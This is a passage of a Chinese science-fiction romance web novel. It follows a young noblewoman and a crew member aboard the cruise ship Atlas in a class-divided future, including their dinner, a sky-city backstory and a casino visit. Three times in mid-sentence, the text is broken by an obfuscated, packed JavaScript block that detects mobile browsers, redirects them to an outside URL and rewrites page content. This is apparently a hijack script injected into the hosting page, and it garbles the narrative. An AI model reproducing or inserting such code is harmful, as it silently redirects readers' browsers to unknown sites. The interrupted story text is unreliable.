“怎么会?但是先生,您的腹肌也很漂亮,我可以上手摸一摸吗?”盛初沅的眼睛依旧是亮晶晶的,清澈,透明,不含一丝杂质,与她嘴里的话形成鲜明对比——她似乎并不为此感到羞赧。 岑屿似乎有些哑然,垂下头掰了掰手指,一步一步向她靠近,将她笼进自己身下的阴影里。他抬起手,撑在她耳侧的墙壁上,大大方方道:“当然可以,不过盛小姐,您好像有些站不稳了,需要我来帮您脱下裙子吗?” 回应他的是盛初沅利落的转身,她用手撩起长长的微卷的黑发,露出优美的蝴蝶骨和复杂交叠的蕾丝带,笑着回复道:“请。” 那股无名的热气愈发难以散去,岑屿的指尖轻抚上她细腻温热的肌肤,一寸一寸慢慢下滑,最终徘徊至腰侧,然后用力一拉。重达十斤的裙摆顿时失去了其受力的支点,随即松松垮垮地滑落至地面,露出里面如鸟笼般的鱼骨裙撑和死死绷住的紧身胸衣。 这个角度下,岑屿一低头便能看见她脆弱的脖颈和纤细的腰肢。他的喉结动了动,咽下了在上面留下撕咬痕迹的冲动。 “您不应该穿钢丝裙撑,”岑屿将她虚揽在怀,伸手去解她身前的排扣,“您的脚踝在受罪。” “不,岑先生,这是柔性金属哦,”盛初沅全然没有发觉他内心的狂潮,还颇为骄傲地反驳道:“轻质易折叠,我自己做的,厉害吗?” “但您依旧弯不下膝盖,”岑屿并没有将她发明创造中掺杂的小巧思当一回事,磨蹭了一会儿才将排扣尽数解开,“还有紧身内衣,难怪您的呼吸频率不太对。我认为您的身材很完美,不需要再使用这些贵族刑具来压迫您的胸骨。” “您说的有道理,下次穿裙子时我会让您帮忙参考的。”感受到腰部桎梏的解除,盛初沅畅快地深吸了几口气,将脚上的高跟鞋随意踢开,脚尖点地旋转半周再次与岑屿面对面,牵起他的手行了一个吻手礼。 仿佛被烫到了一般,岑屿的手不由自主地抽了抽,猛地掐上了她的脸颊,将她的下巴微微托起,偏着头问道:“不是要摸我的腹肌吗?您请便。” 老实说,眼前的少女自然是美丽的:脸蛋微圆,富有肉感,五官小巧精致,一双大眼睛始终水光潋滟,即使在天空城那帮金枝玉叶的大小姐当中也是出类拔萃的。 但岑屿始终觉得,她脸部的线条本该再凌厉一些,眼睛也不应是这个颜色,它应该湛蓝似浩瀚星空,这才能配得上她那无边无际的想象力。 盛初沅微微用脸蹭了蹭他的手心,在对方力道渐缓之后慢悠悠地直起身,笑里多了几分漫不经心,“先生,您在把我当成谁呢?如果您如此般没有诚意,那咱们还是来日方长吧。” “抱歉,”岑屿抬起手往后退了两步,“是我逾矩了,您就是您,不是其他任何人。” 落在她身上的沉重威压骤然消失,盛初沅没再继续纠结,光着脚蹦了两下想跳上柔软的沙发,却又被岑屿出声打断:“盛小姐,丝绸沙发也是螨虫的重灾区。” “请问您这有没被螨虫污染的地方吗?”盛初沅拖着嗓子阴阳怪气,“算了,交给我吧,让我自制一个除螨仪。” 她从储物戒里掏出一个颇像智能终端的手环,在半空中划拉出一个防窥屏页面,二话不说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527502|203585||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对着虚空键盘敲敲打打。 去除掉臃肿的外衫,她的身上只剩一件白色的棉质衬裙,脚上光溜溜的,没穿鞋也没穿丝袜。 “盛小姐,如果您不想生病的话,最好还是披一件外套。”白色衬裙勾勒出她若隐若现的身材曲线,岑屿盯着她雪白的小腿看了几眼,哑声建议道。 “室内温度很适宜,”盛小姐下意识地反驳,反应过来后又笑着问他:“岑先生能借我一件外套吗?我想我应该没有带合适的外套。” 岑屿点点头,二话不说从储物戒中翻出一件大衣外套,帮她披上,拉好拉链,将她的身体牢牢包裹进去。 “盛小姐,我记得您没有携带终端。”确保她彻底沾染上自己的气息后,岑屿盯着她的手环继续问道。 “唔,这个不是终端,它只能在本地运行,没法上网与云端交互,大概算是一个随身备忘录和工具台。”盛初沅连脖子都被衣领紧紧包裹,她将下巴微微抵在拉链处,认真地在半空中敲敲打打,“它最大的作用是玩扫雷和贪吃蛇,岑先生知道这两个小游戏吗?” “贪吃蛇”这三个字一出,一个还未长出身躯、看起来扁平滚圆的骑士风像素脑袋便出现在半空。它绕着岑屿飞了一圈,连环换了好几个类似于欢呼、惊讶、喜悦的表情,然后被它的主人残忍地赶回手环中。 “先生,它就是一个现眼包,”盛初沅全然不顾它抗议的表情,笑着戳了戳它气红的脸蛋,又坏心眼地给它换上了一套戴小皇冠的无袖短裙,“一段不用联网就能转的小代码,比不上您的家居智能体。” 终端终端,无论是在21世纪还是现如今都特指能联网使用的电子产品。只是科学技术的发展使这个时代的终端逐渐浓缩成一个能使用虚拟屏幕的电子手环,同时承载了手机、钱包、公民身份证等多种功能。 这个伟大的发明让股市里的所有股民能够边打工边分好几个屏盯K线,让二次元游戏佬能在大街上同时扫荡六七个副本。故而每年都有成千上万的终端党和储物戒党竞争谁才是寰宇纪最具影响力的发明。 但不比三十年河东,三十年河西,大多数人还是拜入了终端神教。无他,在连狗都分地域和三六九等的时代,公民身份证象征了一切。 云端总数据库会根据你的公民信息给你开放网络权限,使用特定功能。 从信息角度来说,大概就是天空城主城区的人可以浏览所有网络信息,副城区的人可以浏览除主城区以外的网络信息,依次往下,层层减少。 至于母星的猴子们,除了天空城想给他们看到的网络新闻外,他们只能守着自己的一亩三分地,永远也别想了解到上等人的真正想法。 换句话说,谁不知道这是赛博时代统治阶级的思想控制呢? 但“科学家”这三个字早已被上层阶级垄断,就算这是司马昭之心,人尽皆知,母星的类人猿想靠敲算盘来突破技术壁垒,几乎是不可能的事。倒不如别想那么多,洗洗睡吧,毕竟怎么都能过,一时半会也死不了,不是吗? 但莱拉不一样,莱拉是他们的神明,她打破了信息壁,公开了引星计划——那个改造宜居行星、带领人类集体大迁徙的伟大计划。 她让他们看到了脱离粪坑的希望。正因如此,即使现在神倒了,他们也不会苛责她。哦,赞美莱拉! 5. 触手 就在岑屿询问的功夫——可能不出三分钟——一个类扫地机器人状的圆盘除螨仪便凭空出现在盛初沅的手中。 她随意操作了几下,其扁平的底盘上便伸出四条腿,紧接着它“嗖”地一下蹦到沙发上,如小狗撒欢一般乱跑,“唰唰”吸了一肚子灰。 “您可以理解为史蒂夫的工作台,”盛初沅笑眯眯地解释道,“不过科学来说,大概是我在手环里码了数不清的数据库和大模型,我可以将要求输入进去,让它帮我预测材料性能,构建所需物品图纸,然后连接储物环,利用储物环里的材料将其打印出来。先生,全宇宙仅此一份。” “为了感谢您帮我收拾房间,我还给您准备了一个小小礼物,”她又在键盘上敲了敲,生成出一只蓝宝石十字星耳钉,垫着脚凑到他耳边,“等会儿,会有一点点疼。” 她迅速地在岑屿耳垂上穿了一个耳洞,然后喷上某种不知名的稳定药剂,最后将耳钉扣到那个小洞里。 “怎么样,喜欢吗?”做完这一系列动作,盛初沅将他推到房间的穿衣镜前,欢快地邀功道。 可惜镜中人看起来并没有被这个礼物取悦,甚至还有些愠怒,镜外的本尊更是一把抓住她纤细的手腕,冷漠地吐着字:“盛小姐,您经常为男人穿耳洞吗?” 无端受到诋毁的盛初沅可无辜极了,她眨了眨眼强调道:“怎么会?先生,您要知道,穿耳洞和屠宰是一个道理,白刀子进,红刀子出。只要刀子陷入柔软的肌群,血红的汁水就会哗啦一下迸裂出来。我没有必要在别人身上做试验,您是唯一一个。” 岑屿深深看了她一眼,似乎想掐住她的脖颈,将她的灵魂抽出来拷问:您的骨肉是否不忠?您的皮囊是否糜烂?您的心脏是否像您所形容的那般……汁水淋漓? 可是他不能,耐心是捕猎者的美德,他不能这么早便展露出自己的爪牙,他得等鸟儿的翅膀折断,麋鹿的眼睛浑浊,美丽的贵族小姐自愿跳进他的陷阱,然后告诉他,自己究竟是谁。 于是他俯下身,将坠到地上的裙摆拾起,蓝宝石耳钉在他耳侧闪着光,哄得盛小姐心生愉悦。 “岑先生,您明天能带我在阿特拉斯号上转转吗?”见他又转身去帮自己收拾行李,盛初沅对吃饱喝足、趴在沙发上打盹儿的除螨仪打了个响指,让它长点眼力见,给它崴到脚的可怜主人让个位,然后痛痛快快地将自己砸到柔软的沙发上。 “可以,但请您别再穿这么厚重的裙摆了。”岑屿沉声应答。 “那肯定!”盛初沅信誓旦旦地回答,没想到话音刚落,她的肠胃便发出了不满的鸣叫。她尴尬地揉了揉小腹,“哎呀,出来太急了,好像有一整天碰过食物了。岑先生,您这有什么东西可以垫垫肚子吗?” “出门左拐就是员工餐厅,但如果您不想再折腾一遍的话,我在厨房里炖了一锅咖喱汤,您等我收拾完您的房间就能开饭。” 岑屿好像并不意外于她的窘境,毕竟一个天性浪漫的贵族小姐,生来就该被别人捧着供着,你能指望她有多少生活能力,自己搭个窝睡觉都能被夸出类拔萃,不拆家不闹事已经是她最大的美德。 “那太好了,”盛初沅哼起了雀跃的小调,仔细听约莫能听出这是一首乡村民谣,“岑先生,您简直无所不能。请允许我冒昧地问一下,您在船上担任什么职位。” 岑屿回答道:“后勤能源安全员……盛小姐,阿特拉斯号有各种异乎寻常的职业,我衷心地建议您不要深究,更不要尝试前往驾驶室参观,每年都会有客人在员工区域消失,这是天空城上层允许的人员伤亡。” 盛初沅心想,她当然知道,那份文件就是她签的,她每年都会因为那份文件被议会的人追着批斗十几次。 但冯叔已经快疯的差不多了,成天把自己关在屋子里磕冰块,她要是再不答应的话,估计要和他的肠子一块儿被挂在中心花园示众。啧,那样左一块右一块,东一块西一块,七零八落的,很不符合她的美学。 哎,他们搞学术的,一不留心就会落得个精神崩溃、命丧黄泉的下场。可惜在未知领域面前,没有一个人能拒绝一探究竟——至少她认识的人里都不行。 “趁岑先生不在的时候去看看吧!”她立马阳奉阴违地做下决定。 “您别想着自己偷偷跑去看,”岑屿仿佛看穿了她的心思,立马警示道:“而且,您的权限不够,无法刷开通向驾驶室的电梯。” “权限?权限可是最微不足道的门槛!”盛初沅心里这么想着,嘴上却耐心地恭维道:“知道了,我只听您的!” 岑屿快速地将手中的瓶瓶罐罐摆放整齐,又将牙刷60度倾斜卡在牙杯中,转身问她:“房间已经收拾好了,您的贴身衣物还得您自己动手叠一下,需要我教您吗?” “要不您帮我叠了吧!”盛初沅恬不知耻地请求道,看到对方愈发控制不住的表情后又举手投降,“好了,我自己会叠啦!” “走吧,去填饱您的胃。”岑屿点点头,将拖鞋放到她的小腿边,让她扶着自己走到客厅坐下,然后转身去厨房端出一口大锅。 锅盖一启开,浓郁的咖喱焦香便在一屋子古董的见证下蔓延开来,汤面上氤氲的热气如同神龛中飘起的青烟,勾起千百年来永恒不变的味蕾信仰。盛初沅双手合十,笑眯眯地等着对方帮她盛好汤。 “先生,自古以来,东南亚的料理皆远胜于西方国家的料理,其中火锅更是因其包罗万象而冠绝天下,我很好奇,您是更偏好蜀派还是更偏好京派?”她用筷子戳着碗里金黄的海虾,附着在鲜美虾肉外的薄壳早已被汤汁浸透,轻轻一戳,虾壳便如碰瓷般顺势脱落下来。 “这不是火锅,这只是普通的海鲜煲。”岑屿戳起一个墨鱼丸,吹也没吹便直接咀嚼吞咽下去,答非所问道:“您若是想吃火锅,我明天去后厨拿些食材回来。” 盛初沅眼睛亮了亮,发出快乐地喟叹:“如果可以的话那便再好不过。” 盛小姐的言谈举止唯有在吃饭的时候才不显一点架子。她笑眯眯地狼吞虎咽,整个身体都变得舒展,似乎一点也不关心这些碳水化合物的热量高低,也不在意它们的来源是否干净。 “岑先生,您知道吗?从前有人跟我说过,吃饭是一天里最神圣的一件事。在那个天空依旧湛蓝的时代,长辈们会在辛勤工作一整天之后回到家,在餐桌上与放学归来的孩子们分享一天的所见所闻,从而卸下白天的所有委屈与疲惫。” “可惜25世纪的大气层破了个洞,即使后续尽力修补,母星的大部分天空也已经变成了蓝紫色。辐射和灾难横行于世,母星已经不再适宜生存,”她透过海鲜煲上的雾气漫不经心地打量着对方眉眼,淡淡描绘着乱世下的灾难,“人们因此建立了依附于母星却凌驾于母星之上的太空空间站,赐名天空城。但父不父,子不子的扭曲社会关系已经建立,一天能吃上一餐正常食物更已变成常态。” “晚饭渐渐被更高效的营养液替代,也只有在阿特拉斯号上人们才有心思品味这些古老的艺术了。岑先生,我的意思是,如果有机会的话,您愿意回到蓝天之下吗?” 她问起来自然而然,可惜这个看似文青病入脑的问题,对被抛弃在母星的下等人来说,并不亚于被直接贴脸质问——“哦,您看起来快饿死了,既然买不起面包,那为什么不吃蛋糕呢?” 岑屿“嘎吱嘎吱”地啃着螃蟹腿,神情依旧没什么变化,发出一声淡淡地嘲讽:“听起来您还是移居派的,可惜现在引星计划失败了,蓝天依旧不欢迎我们。” “是莱拉失败了,不是引星计划失败了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527503|203585||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”盛初沅试图澄清。 “有什么区别吗?”岑屿反问道,“没有人能取代她的位置。” 这句话莫名激起了盛小姐的雅兴,她撑着头,筷子都放下了,纵容感性超越理性,“岑先生,我想点一首歌,德彪西先生的《月光》,可以吗!” 岑屿闻言沉默地起身,去翻找那个存了无数张中外唱片的胡桃木柜——与此同时,他又将肌肉紧实流畅的背部转到盛初沅眼前了。 自他们相遇到现在为止,他做的所有事在盛初沅眼里都是加分项,忠诚、高效、听话、会照顾人。 身型高大,接近一米九,长相也无可挑剔:眼窝深邃,鼻梁高挺,然而一头黑发仍暴露出他的东方血脉。垂在身侧的手指骨节分明,苍白而有力。 不过要除去他的眼睛,他的眼睛很吓人,黑洞洞的,里面混杂了不少复杂的情绪,像是要把她吸进去,死死缠绕住。 “真是个大笨蛋,心情和欲望全写在脸上了,”盛初沅默默地想,“亲爱的,这可就不能怪我蹬鼻子上脸了!” 直到清冷温柔的月光曲响起,她才回过神来,从下往上仰视着岑屿,语速缓慢地吟唱:“岑先生,您知道吗,黎明前的天空总是最黑暗的,或许这时候,天空城正断着电呢!” 岑屿不置可否,抬手帮她擦掉了唇边的汤汁,眼睛里的情绪更加混沌,“盛小姐,时候不早了,半小时后就洗澡休息吧,我去帮您热好牛奶。” “吃饱就睡,您真把我当屠宰场的猪养了!”盛初沅故意赖在椅子上抗议,“科学证明这对胃的消化不好!况且,我今天激动过了头,这会儿肯定睡不着,要不您跟我讲讲您在阿特拉斯号上的见闻吧!” “……您会睡着的,”岑屿垂下眼,平静地保证,“我会让您睡着的。” 半小时后,盛小姐果真被准时赶回了自己房间。 站在房间的大落地窗前,她摇晃着手中的玻璃杯,优雅,富有节奏,硬生生把牛奶晃出了红酒的效果。乳白色的液体撞击着杯壁,小小的漩涡从液体中心渐渐扩大——一场巨变要开始了。 她从储物戒里取出一张照片,而后轻轻抿了一口尚为温热的牛奶。 “老师,您还真是给我出了一个难题啊。”她状似 无奈地感慨,将目光投向窗外漆黑如墨的夜空中。 母星的夜晚并不安宁,飓风与巨浪如影随形,高温与辐射能轻易摧毁所有胆敢走出天幕的羊羔。作为母星最后的诺亚方舟,阿特拉斯号依旧维持着表面的平静,至少能保证这一船人今夜的安眠。 遥远的天边似乎闪过一丝火光,盛初沅的眼皮跳了跳,与此同时,出去闯荡了一圈后变得半死不活的像素贪吃蛇疲惫地出现在半空,绕着她的手腕蹭了蹭,然后一头撞入她的手环。 谁也不知道一个断了网的程序是如何神不知鬼不觉地入侵进天空城,又在万众瞩目中全身而退的。可能是从那见鬼的空调风管机通道里吧,但又有谁相信呢? 盛初沅三两下将杯子中剩余的热牛奶喝干净,一股汹涌的睡意顿时扑面而来。她了然地挑了挑眉,并不打算忤逆自己的身体,找了个舒服的姿势倒头就睡。 等她的呼吸声渐渐平稳,原本寂静的房间突然响起了诡异黏腻的水声,像是有什么软体动物爬过。 它们从门缝下偷渡,在天花板上蔓延,从床底慢慢上涌,如朝圣般将熟睡的盛小姐簇拥在最中间,直到准备触碰到那瓷一般的雪白肌肤才堪堪停下。 “好想吃掉她,她闻起来好香,细皮嫩肉,一定很美味……好想在她身上留下我们的痕迹……好想……好想……不行……她还不信任我们,我们要,让她,永远,属于我们……” 不知名的怪物在呓语,但它们还是停下了,“还……不是……时候!” 6. 景点 好梦过后的第二天早晨是最值得歌颂的,特别是一推开房间门,还有贴心的同居舍友给你递上可口的早餐。 “先生,吃完早餐过后,您可以带我去逛逛阿特拉斯号吗?”盛初沅用小刀将黄油涂抹在金黄的吐司上,夹着煎蛋和培根一块儿吃下去。 “可以……”可惜还没等岑屿答应完毕,他那理智客观的家居智能体便立马跳出来,冷静地拆了他的台,“先生,请允许我提醒您,您今天有一场与斯诺克先生的会面。我建议您不要轻易爽约。” 岑屿的太阳穴跳了跳,他语气阴沉地反问道:“我记得我关闭了全屋智能语音系统。” “是的,所以我在今天之前都保持着关闭状态,但鉴于现在已经到了第二天,我并不能保证您依旧不需要我的帮助。”Ela一本正经地说着绕口令,“我可以帮您做的事很多,比如说,我能检测到,埃斯特万先生正在向金海101靠近,请您做好准备。” 果然,三秒钟后,一道轻快激昂声音便伴随着敲门声从门外传来——“岑,开门,是我!埃斯特万!一位关心你近况的焦急友人!” 岑屿显然不想搭理他,宁愿沉迷于将培根肉切成丁,也不愿为他打开公寓的大门。但坚毅的埃斯特万先生不会被这一点小小挫折打败,他锲而不舍地敲着门,直到眼前突然一亮——门开了。 “哦,岑,我就知道你不会这么冷血!快来让我看看,昨天的纪念票小姐怎么样了?你知道吧,他们都在下注,赌你有没有将人家赶出去,当然,我始终相信……” 一个拉美裔的卷发青年摇头晃脑地往房间迈着步,他脸上的雀斑自然且活泼,嘴里还絮絮叨叨着。 待他看清门后的人后,顿时如见鬼一般揉了揉眼,然后伸出那只没有被身体代谢物污染过的手:“哦,我的老天!小姐,很抱歉,我不是那个意思……我的意思是,您好,我是埃斯特万,请问该如何称呼您?” 他口中的纪念票小姐正在门内倚着墙打量他,闻言似笑非笑地伸手同他握了握:“我姓盛!恭喜您,埃斯特万先生,您要赢钱了,我还完好无损地站在这!为表示对主要出力人的认可,您是否愿意跟我分享两个钢镚?” 埃斯特万立马顺着台阶往下滚,就着握手姿势笑嘻嘻地弯腰鞠躬:“那是当然,盛小姐,而且您已经替船长付了我这一周的工资,我将为您献上我所有的热情和劳动力。” “嗯……您初来乍到,是否需要我带您在船上转一圈?不是我自吹自擂,我可是阿格拉斯号上最著名的百事通,所有天空城贵族公认的新手引导NPC,诗会的参与者,美食的品尝者,景点的观赏者,莱拉的崇拜者!我的人脉四通八达,连地道里的蟑螂见了我都要卖我几分薄面,收起它们扑腾在天的大翅膀!” “埃斯特万,她是我的客人,”公寓的男主人不知何时终于放过了那块可怜的培根,同鬼魅一般出现在盛小姐的身后,将她一整个身子罩在自己的阴影里,“我会带她去转转,不劳你挂心。” “岑,今天不是你特定的工作日吗?”埃斯特万完全没有觉察出他那疯狂的占有欲,只当他是日常犯病,“你舍得让这么美丽的小姐在公寓里苦苦等候你一天吗?” “有什么不行?”岑屿在心中默默想,“她是自愿住进来的,那便是自愿属于我。既然是我的私藏品,那……” “那太感谢您了,埃斯特万先生!等我披件外套,我们马上出发!”盛初沅活泼又轻快的声音打断了他疯癫至极的思考,他不由自主地皱眉道:“盛小姐,您……” “我会回来吃火锅的!”盛小姐完全不顾他的低气压,踮着脚从他身前绕回房间,在短摆连衣裙外套了件镶满钻石的小外套,回头向他比了个大大的wink,然后跟着埃斯特万出发冒险了。 “盛小姐,您先前是否从未来过母星?”走在铺满柔软红毯的走廊上,暖黄的灯光洒下温馨的光,埃斯特万颇为绅士地递出自己的手臂,贴心地询问道:“那您有看过阿特拉斯号的宣传册吗?” “是的,这是我第一次出天空城,至于宣传册……嗯,上学的时候看过,”盛初沅笑着将他的手臂推回去,清澈的嗓音里充满歉意,“抱歉先生,我不习惯与别人产生肢体接触。” 埃斯特万理解地点点头,天空城的少爷小姐们大多都有乱七八糟的怪癖,比起昨天那位占了五间贵宾室放杂物、听音乐只听古典歌剧、吃饭要垫八层丝巾的叶卡捷琳娜小姐,眼前的盛小姐已经算和蔼可亲的了。 不过令他震惊的是,这位看上去天真烂漫的大小姐竟然上过学! “您还上过学吗?我以为脑机接口和智能芯片早已遍布天空城!”他吃惊地问。 “如果您指的是将知识传导进大脑的技术的话,确实如此,”盛初沅轻快地解释,“但受批可传入普通人大脑里的知识在科学研究中都属于基础知识,对标前母星的受教育程度……大概在中学阶段左右吧,但如果想学习更先进的知识,就要进入赫利孔学院了。” “我知道……我知道,但您竟然会被选入赫利孔!这可是所有学者的朝圣地!”埃斯特万看起来还是很惊讶。 其实不怪他会发出疑问。不比前母星时代世界各国的教育选拔考试,赫利孔选拔人才的标准仅仅局限于天赋。 在天空城,每个新生儿都要接受基因测试,由人工智能预测出他们的大脑最高能开发到何种程度。毫不夸张地说,议院和赫利孔不会浪费一分一毫的教育资源到愚钝且想要依靠努力翻身的普通人身上。 所以只要能被选入赫利孔的人,基本都是同龄人中的天才。 至于你问,母星上未经历过基因测试的天才该如何被赫利孔挖掘发现?哦,拜托,母星上都是些下等人,劣等基因是不会产生突变的,不要再做这些没有意义的假设了。 “您为何这般惊讶?”盛初沅反问道,“赫利孔并没有您想象中那般神圣,上一届引星计划的负责人还是从母星直接升入星环的呢!那年赫利孔有成百上千的学生向星环投简历,可星环偏偏只收了那两个来自母星的野路子。埃斯特万先生,基因偏见会酿成大错的。” “可莱拉女士是从赫利孔毕业的!”埃斯特万强调道,“她是我的女神。” “你的女神是一个母星人的学生,而这个母星人从未迈进过赫利孔。”盛初沅笑眯眯地反驳,“好了,埃斯特万先生,我们来聊聊阿特拉斯号吧,别再拘泥于您的信仰了。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527504|203585||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “可是……”埃斯特万烦恼地挠了一把头发,似乎还想辩驳些什么,却又生生憋住,他那头本就有些凌乱的卷发显得愈发飘逸,“抱歉盛小姐,我就是这样,一扯到别的东西就停不下来了,让我们说回阿特拉斯号。既然您看过宣传册,那应该知道我们这趟旅行的核心理念吧。” “嗯,参观沿海历史博物馆,纪念母星鎏金年代,为期一年的盛大旅行。”盛初沅跟着他迈进最靠走廊的员工电梯,在空荡的铁皮盒子里轻声说出那句最经典的宣传词。 她依稀记得第一次看到这个宣传词时内心泛上的讽刺感——瞧啊,骄傲又自大的人类,在榨干母星的最后一丝资源后,却又把它修成了博物馆。既然有这份心思去怀念,当初为什么不懂得珍惜呢? “嗯,对,但这些所谓的历史博物馆并不只是古文物的存放地或人类文明遗址。它们是一个个设了防辐射天幕的地上基地,也是经过25世纪大辐射过后,母星上为数不多仍适宜居住的地方。换句话说,它们更是那些仍居于母星的人们的家。” “哦,说起那次辐射,那简直是一场毁天灭地的大灾难,”埃斯特万介绍到一半又忍不住停下来感慨,“全球范围内死了三分之二的人,大片的土地被污染,植物大范围枯死,不少动物因此而变异,一跃学会了语言和文字。” “如此重压之下,伟大的科学家们竟在数年之内发明出了防辐射天幕和太空电梯,建立了地上的基地和天上的天空城。” “云泥之别就此显现,”盛初沅顺着他的话漫不经心地想,“可上天堂下地狱又是谁规定的呢?” 不过这段相关历史已在第二代教育改革中被从智能传输系统中删除,如今天空城里已无人再去追溯自己为何会成为“天空人”了,他们只认为自己生来就高人一等。 “总之,勤劳的母星人在母星最后的净土上安营扎寨,虽然有些拥挤,但是大家很快乐,他们在这场大灾难中活下来了!这便是寰宇纪元年。”埃斯特万继续道。 “寰宇纪127年,人们渐渐习惯于在基地里的生活。当时的天空城议院长提出,人类的文明不能被遗忘在历史的长河中,于是向各基地提出了溯洄计划。” “他们挑选了人类历史上最具代表性的14个时代,让母星上除伊萨卡不冻港以外的14个基地各自认领一个,并要求其尽可能模仿所选时代的特色,包括吃穿用度等各个方面。经过数代更迭,如今基地中的居民早已将自己视为那个时代的一员。盛小姐,我敢说,您现在进入任何一个基地,都能体会到身临其境之感。这便是我们所说的——景点。” “而阿特拉斯号作为串联这14个景点的引线,每年都会载满一船来自天空的贵客,举行一次全球性的大游行。当然,我们还拥有全宇宙独一无二的透明随行天幕,能够时刻保护船上所有人的安全!” 听完他慷慨激昂的演说,盛初沅忍不住问道:“埃斯特万先生,您认为居住在景点里的人幸福吗?” “当然!”埃斯特万眉飞色舞,“生活在伟大的时代,他们当然是幸福的。” “是吗?”盛初沅不置可否,只是笑了笑,“埃斯特万先生,我猜您一定出生在不冻港,是吗?” 7. 游戏厅 电梯门缓缓打开,他们终于从安静无人的员工区走出来,来到了金迷纸醉的游客休闲区。 即使现在烈日高照,毒辣的阳光经过船体随行天幕的削减,洋洋洒洒地铺在地板和桌面——这绝对是个毋庸置疑的大白天——但来来往往的绅士名媛依旧轻晃着浮着大冰球的威士忌,日夜不休地谈笑风生。 “是的,盛小姐,我是个土生土长的临港人,但这些年我跟着阿特拉斯号往返了不少景点,里面的居民都幸福异常,除了看不到蓝天之外,我想不出他们会有任何不满。” 埃斯特万的声音活力十足,听起来他依旧对生活和工作充满热爱,“除我之外,阿特拉斯号上的大部分员工都是临港人。” “哦,岑是个例外,他好像是在辗转了不少景点之后才上的船,还在辐射区吃了不少苦。斯诺克把他带上来的时候,他80%的皮肤都被灼伤了。” “真是个小可怜,”盛初沅听罢惊讶地捂住心口,好似真心替他难过一般。 “所以我决定原谅他的坏脾气,”埃斯特万领着她往前走,四处张望了一下,确保周围没有他最不想遇见的那个家伙,才停在一个游戏机前。 他抬起手臂搭在盖子顶上,笑着拍了拍,“盛小姐,您听说过欲望之都拉斯维加斯吗?这儿——阿特拉斯号的二楼大厅,就是取其一小部分,一比一还原复刻出来的……不过这里乱七八糟的,咱们随便逛逛就走吧。” 怪不得这儿环境舒适、音乐舒缓、吃喝俱全,每一个透入皮肤毛孔的空气因子都被“轻松”二字泡涨,进来的男男女女即使血丝遍布眼球,也依旧流连忘返——原来这是整艘邮轮的创收之地。 不知他的话触发到了哪个关键词,一只穿着西装的老鼠顶着一盘美酒向他们走来,看见埃斯特万那头杂乱的卷毛,它立马尖声细气地贼笑道:“哎哟,这不是我的老朋友埃斯特万吗?好久不见啊!怎么着,几个月不见,您又干上导游的勾当了!” “哎哟,这次还是位可爱的小姐,这位美丽的小姐,您要下注吗?鉴于您是新客户,我们可以给您打八折优惠。” “盛小姐,我不建议您尝试任何玩法,”见盛初沅的目光被这只长毛大黑耗子勾地直往台桌那块儿瞟,埃斯特万立刻出声提醒,“特别是上桌,上了桌就是个无底洞,每年都会有不少破产的天空人被扔下海喂变异鲨鱼。我知道这儿的空气让人沉浸,但……” “拜托!埃斯特万,不要诋毁我们这些做正经生意的良民,”西装老鼠龇起它的大板牙向埃斯特万哈气,“我们的账单清澈透明,从不做杀人越货的勾当,那些破产的天空人都是自愿结束生命的!” “自愿结束?负了八位数的债又断手断脚当然自愿结束,”埃斯特万对这位不速之客阴阳怪气,“盛小姐,您别理它……老天,我就不应该带你来这里,谁叫他们把员工电梯的出口改到了游戏厅!我上一任客人就被它们坑得内裤都不剩。” “埃斯特万,你别插嘴,你让这位小姐自己选!”西装老鼠将美酒搁在一边,恶狠狠地搓了搓它的鼠爪,向埃斯特万比了个类似于中指的鼠指,又掐着嗓子问:“小姐,您真的不想试试吗?一秒云端,一秒地狱,可刺激了,我敢说,这是您从未体验过的快乐!” “查理,她可是岑的舍友,你不怕岑来找你麻烦吗!”埃斯特万怒吼道。 “拜托,岑从来不管这种事!少拿他扯幌子!”查理向他啐了一口。 “好了两位先生,我是在想,吧台的奶茶看起来很好喝,”令埃斯特万震惊的是,盛初沅似乎并没有被大厅的氛围和空气影响,她撇开眼,笑眯眯地看着他:“让两位失望了,我的确不想尝试这儿的任何一台设备。” 埃斯特万一肚子劝说的话全卡在了喉咙里,长毛老鼠更是目瞪口呆,任凭眼前这位贵族小姐继续解释道:“两位知道吗?扑克牌和游戏机都是概率和数据最低端的仆人,只要我愿意,全场的资产点都可以在一瞬间归于我。” 她随意扫视了一圈,被她扫过的游戏机开始疯狂震动起来,激烈的震感将靠在其中一台机身上的埃斯特万吓退了好几步。 欢快的游戏音响起,屏幕上的图标如听指令般齐刷刷地跳动,五彩斑斓的图标在视网膜中留下绚烂的残影,最终指向一个共同的结果。 叮!叮!叮! 灿金色的皇冠于刹那间同时蹦上屏幕,如金血浆汁般的冠身簌簌淌着泪,幽蓝的光芒渐渐被浓烈灼目的炽金泪水取代。 